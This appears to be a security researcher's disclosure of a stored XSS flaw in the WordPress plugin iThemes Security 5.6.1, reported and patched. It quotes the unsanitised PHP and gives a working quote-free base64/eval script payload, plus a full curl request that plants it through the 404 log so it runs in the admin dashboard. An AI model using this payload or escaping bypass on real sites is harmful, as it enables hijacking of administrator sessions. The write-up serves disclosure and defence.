XSS vulnerability in iThemes Security (formerly Better WP Security) 5.6.1

Two weeks ago I was performing review of another security plugin https://wordpress.org/plugins/better-wp-security. I was impressed by the number of the active installations 800k+ and ofc. that is must to check how and what is in it :)

During the review of the code I have found few possibly weak points and try to exploit them. One of them was located in /core/class-itsec-logger.php method print_array. Check lines 323

if ( ! is_numeric( $key ) ) {
$items .= ‘<h3>’ . $key . ‘</h3>’;
}

and line 333

$items .= ‘<li><h3>’ . $key . ‘ = ‘ . $item . ‘</h3></li>’ . PHP_EOL;

As you can see there is no sanitation of the values that need to be printed to the browser. Fast check and this function was used by File changes scanning and by 404 module. Scanner of the files wasn’t too much attractive to me because you need to alter some file name on the server in order to exploit this issue, but 404 pages module was the right one. This means that I can perform an action as normal wordpress visitor and consequences of this action to be shown into administration log area. Lets check the code that prints data into Logs section of the administration dashboard of the plugin /core/class-itsec-logger-all-logs.php method column_data

function column_data( $item ) {
global $itsec_logger;
$raw_data = maybe_unserialize( $item[‘data’] );
$data = apply_filters( “itsec_logger_filter_{$item[‘type’]}_data_column_details”, ‘’, $raw_data );
if ( empty( $data ) ) {
if ( is_array( $raw_data ) && sizeof( $raw_data ) > 0 ) {
$data = $itsec_logger->print_array( $raw_data, true );
} elseif ( ! is_array( $raw_data ) ) {
$data = sanitize_text_field( $raw_data );
} else {
$data = ‘’;
}
...

Here we learn that data directly from database is printed into browser, but database operations into plugin are used with wp esc_sql function for input and this means that quotes/double quotes/spaces will be escaped, but not tags! => we can inject html code or try to execute some JS, but escaping quotes/double quotes/spaces makes this mission almost impossible, almost! Is there possibility to write JS code that will execute itself without containing quotes/double quotes/spaces? Sure there it is. What do you think regarding this one?

<script>x=String(/YWxlcnQoInRlc3QiKQ==/);x=x.substring(1,x.length-1);eval(atob(x));</script>

If you run this snippet will display alert with “test”, but it will display alert with string “test” in the administration area of wordpress site protected by iThemes Security <=5.6.1 with 404 detection module on if you issue this “normal” request against it:

curl “http://ithemesprotected.target/index.php/2016/09/22/trigger-404/?<script>x=String(/YWxlcnQoInRlc3QiKQ==/);x=x.substring(1,x.length-1);eval(atob(x));</script>“ -H ‘Accept-Encoding: gzip, deflate, sdch’ -H ‘Accept-Language: en-US,en;q=0.8’ -H ‘Upgrade-Insecure-Requests: 1’ -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36’ -H ‘Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8’ -H ‘Cache-Control: max-age=0’ -H ‘Cookie: wordpress_test_cookie=WP+Cookie+check’ -H ‘Connection: keep-alive’ -H ‘Referer: http://ithemesprotected.target/wp-login.php?da=777&bu=777' — compressed

Regarding the issue, developer was contacted, issue verified and plugin patched.

In situations like this one, most probably this attack vector already is added on the automated systems that lure from the anonymous network sources. This means that you must to update your iThemes Security plugin to the latest version. Also more than good measure to prevent 0 days like this one, is having https://wordpress.org/plugins/pike-firewall/, will filter/block most requests from anonymous sources and there is possibility to make distinction between human and bot traffic.

Disclaimer: I have discovered and reported the XSS vulnerability in the iThemes Security and I’m the author of the https://wordpress.org/plugins/pike-firewall/.